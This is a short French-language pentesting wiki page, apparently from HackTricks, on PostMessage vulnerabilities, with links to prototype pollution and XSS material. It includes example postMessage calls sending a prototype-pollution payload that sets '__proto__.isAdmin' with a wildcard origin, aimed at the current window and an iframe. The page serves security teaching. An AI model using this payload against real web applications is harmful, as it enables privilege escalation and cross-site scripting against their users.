# Vulnérabilités PostMessage ## Vulnérabilités PostMessage {{#include ../../banners/hacktricks-training.md}} ## Envoyer **PostMessage** **PostMessage** utilise la fonction suivante pour envoyer un message : ```bash targetWindow.postMessage(message, targetOrigin, [transfer]); # postMessage to current page window.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe with id "idframe" document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe via onload ``` Pour **plus d'informations** : - Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/index.html) - Lien vers la page sur [**XSS**](../xss-cross-site-scripting/index.html) - Lien vers la page sur [**la pollution de prototype côté client à XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) ## Références - [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) - [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) - Pour pratiquer : [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) {{#include ../../banners/hacktricks-training.md}}